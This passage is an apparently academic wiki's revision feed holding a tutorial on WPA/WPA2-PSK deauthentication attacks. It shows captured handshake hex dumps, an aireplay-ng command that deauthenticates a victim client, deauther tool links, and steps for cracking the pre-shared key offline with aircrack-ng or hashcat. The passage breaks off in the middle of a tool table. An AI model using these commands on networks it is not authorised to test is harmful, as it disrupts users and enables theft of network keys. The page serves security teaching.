four-way handshake is exchanged between the client and the AP, which can be captured easily. The deauthenticated target may only remark a short network disruption, but nothing more. This attack is only feasible for WPA/WPA2 *PSK*, as WPA3 and other authentication methods are not vulnerable.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px); margin-bottom: 5px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Example&amp;lt;/b&amp;gt;: Four-Way Handshake (4WHS)&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: A four-way handshake can be analysed using Wireshark or &amp;lt;code&amp;gt;tcpdump&amp;lt;/code&amp;gt;, filtering for &amp;lt;code&amp;gt;eapol&amp;lt;/code&amp;gt; messages or better filtering for &amp;lt;code&amp;gt;ether proto 0x888e and ether host $BSSID&amp;lt;/code&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt; # link-type IEEE802_11_RADIO (802.11 plus radiotap header)&lt;br /&gt;
tcpdump &amp;quot;ether proto 0x888e and ether host $BSSID&amp;quot; -I -c 4 -i en0 -vvv -e -A -XX&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=400px&amp;gt;&lt;br /&gt;
image:4WH_1.png|4WHS (Message 1 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  8165 aa01 0000 0000 1002 7609 8004 d2a5  .e........v.....&lt;br /&gt;
  0x0020:  0000 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 d7a9 938d 8802 3a01 40d3 ae63 32dc  ........:.@..c2.&lt;br /&gt;
  0x0040:  98da c46e 00fc 98da c46e 00fc 0000 0000  ...n.....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 005f 0200 8a00  ..........._....&lt;br /&gt;
  0x0060:  1000 0000 0000 0000 01ff e614 7014 d7a9  ............p...&lt;br /&gt;
  0x0070:  6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1  nl^$..Y.S_&amp;lt;...Y.&lt;br /&gt;
  0x0080:  e125 8fce 7dc3 1325 a900 0000 0000 0000  .%..}..%........&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00b0:  0000 0000 0000 0000 0000 0041 e6a6 5d    ...........A..]&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=530px&amp;gt;&lt;br /&gt;
image:4WH_2.png|4WHS (Message 2 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 121: EAPOL key (3) v1, len 117&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  1a76 aa01 0000 0000 1002 7609 8004 eca5  .v........v.....&lt;br /&gt;
  0x0020:  0001 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 4355 fdb7 8801 3a01 98da c46e 00fc  ..CU....:....n..&lt;br /&gt;
  0x0040:  40d3 ae63 32dc 98da c46e 00fc 0000 0600  @..c2....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 0075 0201 0a00  ...........u....&lt;br /&gt;
  0x0060:  0000 0000 0000 0000 01bc 67eb 5bfb 4355  ..........g.[.CU&lt;br /&gt;
  0x0070:  f0cc b3f9 bfe5 609d 611e b79f 7451 ccb8  ......`.a...tQ..&lt;br /&gt;
  0x0080:  841c 7d17 dde7 0c47 3300 0000 0000 0000  ..}....G3.......&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 0051 17b2 89fc 6428  .........Q....d(&lt;br /&gt;
  0x00b0:  2564 ab92 3571 a67f af00 1630 1401 0000  %d..5q.....0....&lt;br /&gt;
  0x00c0:  0fac 0401 0000 0fac 0401 0000 0fac 0200  ................&lt;br /&gt;
  0x00d0:  0010 afc4 e7                             .....&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=400px&amp;gt;&lt;br /&gt;
image:4WH_3.png|4WHS (Message 3 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -46dBm signal -91dBm noise antenna 0 314us CF +QoS DA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 155: EAPOL key (3) v1, len 151&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  6f80 aa01 0000 0000 1002 7609 8004 d2a5  o.........v.....&lt;br /&gt;
  0x0020:  0013 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 d7a9 e7e8 8802 3a01 40d3 ae63 32dc  ........:.@..c2.&lt;br /&gt;
  0x0040:  98da c46e 00fc 98da c46e 00fc 1000 0000  ...n.....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 0097 0213 ca00  ................&lt;br /&gt;
  0x0060:  1000 0000 0000 0000 02ff e614 7014 d7a9  ............p...&lt;br /&gt;
  0x0070:  6e6c 5e24 b316 59fe 535f 3c12 c4f9 59f1  nl^$..Y.S_&amp;lt;...Y.&lt;br /&gt;
  0x0080:  e125 8fce 7dc3 1325 a900 0000 0000 0000  .%..}..%........&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0100 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 00e4 ef65 1d4f f0c1  ...........e.O..&lt;br /&gt;
  0x00b0:  62be d858 a5ed dab9 bf00 38de c04c 2c9d  b..X......8..L,.&lt;br /&gt;
  0x00c0:  9696 fe73 cfd1 8927 51cd 07ed f4ee c8a4  ...s...&#039;Q.......&lt;br /&gt;
  0x00d0:  8e5b 96a4 733a d9dc 6c0c e352 f3a2 f1c6  .[..s:..l..R....&lt;br /&gt;
  0x00e0:  4a7a 2fde e3d3 9d29 e8ea 169e 551e 73b3  Jz/....)....U.s.&lt;br /&gt;
  0x00f0:  43f9 a8a8 bc98 d2                        C......&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery caption=&amp;quot;&amp;quot; mode=&amp;quot;packed-hover&amp;quot; style=&amp;quot;border: 1px solid #eaecf0; background-color: white; border-radius: 3px&amp;quot; heights=400px&amp;gt;&lt;br /&gt;
image:4WH_4.png|4WHS (Message 4 of 4)&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;tsft 1.0 Mb/s 2422 MHz 11g -20dBm signal -91dBm noise antenna 0 314us CF +QoS BSSID:XX:XX:XX:XX:XX:XX (oui Unknown) SA:ZZ:ZZ:ZZ:ZZ:ZZ:ZZ (oui Unknown) DA:XX:XX:XX:XX:XX:XX (oui Unknown) LLC, dsap SNAP (0xaa) Individual, ssap SNAP (0xaa) Command, ctrl 0x03: oui Ethernet (0x000000), ethertype EAPOL (0x888e), length 99: EAPOL key (3) v1, len 95&lt;br /&gt;
  0x0000:  0000 3600 6f08 00c0 0100 0040 c46e 00fc  ..6.o......@.n..&lt;br /&gt;
  0x0010:  cc8d aa01 0000 0000 1002 7609 8004 eca5  ..........v.....&lt;br /&gt;
  0x0020:  0003 0010 1800 0300 0200 0000 0010 1803  ................&lt;br /&gt;
  0x0030:  0400 0000 938d 8801 3a01 98da c46e 00fc  ........:....n..&lt;br /&gt;
  0x0040:  40d3 ae63 32dc 98da c46e 00fc 1000 0600  @..c2....n......&lt;br /&gt;
  0x0050:  aaaa 0300 0000 888e 0103 005f 0203 0a00  ..........._....&lt;br /&gt;
  0x0060:  0000 0000 0000 0000 0200 0000 0000 0000  ................&lt;br /&gt;
  0x0070:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x0080:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x0090:  0000 0000 0000 0000 0000 0000 0000 0000  ................&lt;br /&gt;
  0x00a0:  0000 0000 0000 0000 0009 4d26 1f94 47b2  ..........M&amp;amp;..G.&lt;br /&gt;
  0x00b0:  8fcb 0e44 a9b7 3cea 4500 002c f10f 7c    ...D..&amp;lt;.E..,..|&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: Deauther are often mistakenly described as a jammer, even though that is not the case.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Aircrack-ng ===&lt;br /&gt;
 aireplay-ng -0 1 -a $BSSID -c $VICTIM_MAC wlan0mon&lt;br /&gt;
: -0 means deauthentication&lt;br /&gt;
: 1 number of deauthentication frames sent&lt;br /&gt;
: -a bssid mac address&lt;br /&gt;
: -c victim mac address to deauthenticate&lt;br /&gt;
&lt;br /&gt;
=== D-Stike Deauther ===&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;D-Stike provides a range of ESP8266 based development board, which come installed with the latest ESP8266 Deauther software developed by Spacehuhn. The source code is availabel on Github. With this software, you can perform different attacks to test WiFi networks. One of them is the deauthentication attack. &amp;lt;/p&amp;gt;&lt;br /&gt;
* https://github.com/spacehuhn/esp8266_deauther&lt;br /&gt;
&lt;br /&gt;
=== Other tools ===&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;JamWiFi is a Software with GUI, which allows you to select one or more nearby wireless networks, thereupon presenting a list of clients which are currently active on the network(s). Furthermore, JamWiFi allows you to disconnect clients by performing a deauthentication attack.&amp;lt;/p&amp;gt;&lt;br /&gt;
* https://github.com/unixpickle/JamWiFi&lt;br /&gt;
* https://github.com/0x0XDev/JamWiFi&lt;br /&gt;
&lt;br /&gt;
= Used Hardware =&lt;br /&gt;
&lt;br /&gt;
* Notebook, Ubuntu 18.04 bionic amd64, with Wifi interface card&lt;br /&gt;
* Lenovo Thinkpad X1 Yoga G2, Kali Linux 2020.4, Intel Wireless (Intel AC-8265)&lt;br /&gt;
* MacBook Pro (15-inch, 2017), macOS 10.14.6, Airport Extreme (Broadcom BCM43xx)&lt;br /&gt;
* MacBook Pro (16-inch, 2019), macOS 11.1, Airport Extreme (Broadcom BCM4364)&lt;br /&gt;
* [[DSTIKE Deauther Watch V1]]&lt;br /&gt;
&lt;br /&gt;
= Courses =&lt;br /&gt;
&lt;br /&gt;
* [[Campus Cyber Security Team]] WiFi Hacking 21.06.2019 &lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa (Accessed 10. April 2020)&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php#aircrack-ng_suite1 (Accessed 10. April 2020)&lt;br /&gt;
* https://www.netspotapp.com/wifi-encryption-and-security.html (Accessed 10. April 2020)&lt;br /&gt;
* https://louisabraham.github.io/articles/WPA-wifi-cracking-MBP.html (Accessed 10. April 2020)&lt;br /&gt;
* http://www.saltwaterc.eu/capturing-wpa-handshakes-with-os-x.html (Accessed 10. April 2020)&lt;br /&gt;
* https://github.com/brannondorsey/wifi-cracking (Accessed 10. April 2020)&lt;br /&gt;
* https://hashcat.net/cap2hccapx/ (Accessed 10. April 2020)&lt;br /&gt;
* https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 (Accessed 10. April 2020)&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;/div&gt;</summary>
		<author><name>JPDoe</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:4WH_4.png&amp;diff=5854</id>
		<title>File:4WH 4.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:4WH_4.png&amp;diff=5854"/>
		<updated>2021-01-20T17:28:07Z</updated>

		<summary type="html">&lt;p&gt;JPDoe: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JPDoe</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:4WH_3.png&amp;diff=5853</id>
		<title>File:4WH 3.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:4WH_3.png&amp;diff=5853"/>
		<updated>2021-01-20T17:27:11Z</updated>

		<summary type="html">&lt;p&gt;JPDoe: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JPDoe</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:4WH_2.png&amp;diff=5852</id>
		<title>File:4WH 2.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:4WH_2.png&amp;diff=5852"/>
		<updated>2021-01-20T17:26:13Z</updated>

		<summary type="html">&lt;p&gt;JPDoe: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JPDoe</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=File:4WH_1.png&amp;diff=5851</id>
		<title>File:4WH 1.png</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=File:4WH_1.png&amp;diff=5851"/>
		<updated>2021-01-20T17:25:08Z</updated>

		<summary type="html">&lt;p&gt;JPDoe: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>JPDoe</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=WPA/WPA2_PSK_deauthentication_attack&amp;diff=5850</id>
		<title>WPA/WPA2 PSK deauthentication attack</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=WPA/WPA2_PSK_deauthentication_attack&amp;diff=5850"/>
		<updated>2021-01-20T16:57:37Z</updated>

		<summary type="html">&lt;p&gt;JPDoe: Added script to automatically crack WPA/WPA2 on macOS&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;max-width: 970px&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight: normal;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Table of Contents&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
__TOC__&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Summary = &lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;How to sniff a WPA/WPA2 handshake using a deauthentication attack and crack the Pre-Shared Key (PSK). Aircrack-ng forms a versatile application suite for analyzing and attacking wireless networks but is not the only option in this game. This guide will use GNU/Linux to demonstrate how to use aircrack-ng and macOS to show that this process can be done more efficiently without aircrack-ng. Anyway, these processes can be mixed to get the best process for your situation.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Requirements =&lt;br /&gt;
== Mandatory ==&lt;br /&gt;
=== GNU/Linux ===&lt;br /&gt;
* Install aircrack-ng suite: &amp;lt;code&amp;gt;sudo apt install aircrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== macOS ===&lt;br /&gt;
* Install Homebrew, the Missing Package Manager for macOS (or Linux): &amp;lt;code&amp;gt;/usr/bin/ruby -e &amp;quot;$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)&amp;quot;&amp;lt;/code&amp;gt;&lt;br /&gt;
* Optional: Install &amp;lt;i&amp;gt;aircrack-ng&amp;lt;/i&amp;gt; suite: &amp;lt;code&amp;gt;brew install aircrack-ng&amp;lt;/code&amp;gt;&lt;br /&gt;
* Install &amp;lt;i&amp;gt;tcpdump&amp;lt;/i&amp;gt;: &amp;lt;code&amp;gt;brew install tcpdump&amp;lt;/code&amp;gt;&lt;br /&gt;
* Install &amp;lt;i&amp;gt;wireshark&amp;lt;/i&amp;gt; to use &amp;lt;i&amp;gt;mergecap&amp;lt;/i&amp;gt;: &amp;lt;code&amp;gt;brew install wireshark&amp;lt;/code&amp;gt;&lt;br /&gt;
* Enable &#039;hidden&#039; airport feature: &amp;lt;code&amp;gt;sudo ln -s /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport /usr/local/bin/airport&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Optional ==&lt;br /&gt;
=== Hashcat ===&lt;br /&gt;
* Clone GIT repository: &amp;lt;code&amp;gt;git clone https://github.com/hashcat/hashcat.git&amp;lt;/code&amp;gt;&lt;br /&gt;
* Build: &amp;lt;code&amp;gt;cd ./hashcat &amp;amp;&amp;amp; make &amp;amp;&amp;amp; make install&amp;lt;/code&amp;gt;&lt;br /&gt;
* Link: &amp;lt;code&amp;gt;sudo ln -s ./hashcat /usr/local/bin/hashcat&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Background =&lt;br /&gt;
== Problem==&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Attacks on wireless networks use the advantage that the WLAN protocol (IEEE 802.11) is not encrypted. Only the payload is encrypted. In the case of WPA2, this is usually done using AES. To exploit this weakness, a beacon frame must be intercepted by the hacker to identify the name (BSSID), MAC address (SSID) and channel (radio frequency) of the target access point. Afterwards, this information can be used to sniff packets from that network as desired. To get full access to the network, the WPA2 Pre-shared Key (PSK) is still required. To get it, only 3 steps are necessary, plus some time:&amp;lt;/p&amp;gt;&lt;br /&gt;
# Sniff a beacon management frame containing all information about the network &lt;br /&gt;
# Sniff a four-way hanshake containing dynamic payload encryption keys&lt;br /&gt;
# Crack the PSK offline, using data dumps acquired in the previous steps&lt;br /&gt;
&amp;lt;p style=&amp;quot;height: 2px&amp;quot;&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Intercepting a four-way handshake requires at least one authenticated device on the target network. &amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The first 2 steps have to be done in range of the target network. The last step takes the longest, but has the advantage that it can be executed anywhere.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Solution==&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The most recent encryption standard WPA3 is designed to protect against such offline dictionary attacks to guess the password, since an attack has unlimited attempts to guess the PSK by implementing a new key exchange protocol. WPA2 used an imperfect four-way handshake between clients and access points to enable encrypted connections. WPA3 will eliminate this vulnerability in favor of more secure and widely verified simultaneous authentication through equal handshake. Additionally, this new handshake supports forward-secrecy.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Procedure =&lt;br /&gt;
&lt;br /&gt;
== With aircrack-ng (on GNU/Linux) ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;background-color: white; margin-left: 30px;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;background-color: grey; font-weight: bold; border-color: black&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Application&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;border-color: black&amp;quot;&amp;gt;Description&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: darkgrey; border-color: black&amp;quot;&amp;gt;aircrack-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;802.11 WEP and WPA/WPA2-PSK key cracking program.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr style=&amp;quot;line-height: 15px&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airbase-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Aimed at attacking clients as opposed to the AP itself.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdecap-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Decrypt WEP/WPA/WPA2 capture files.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdecloak-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Remove WEP CloakingTM from a packet capture file.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdrop-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;A rule based wireless deauthication tool.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;aireplay-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Inject and replay wireless frames.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airgraph-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Graph wireless networks.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airmon-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Enable and disable monitor mode on wireless interfaces.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airodump-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Capture raw 802.11 frames.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airolib-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Precompute WPA/WPA2 passphrases.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airserv-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Wireless card TCP/IP server to use wit multiple applications.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airtun-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Virtual tunnel interface creator.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;packetforge-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
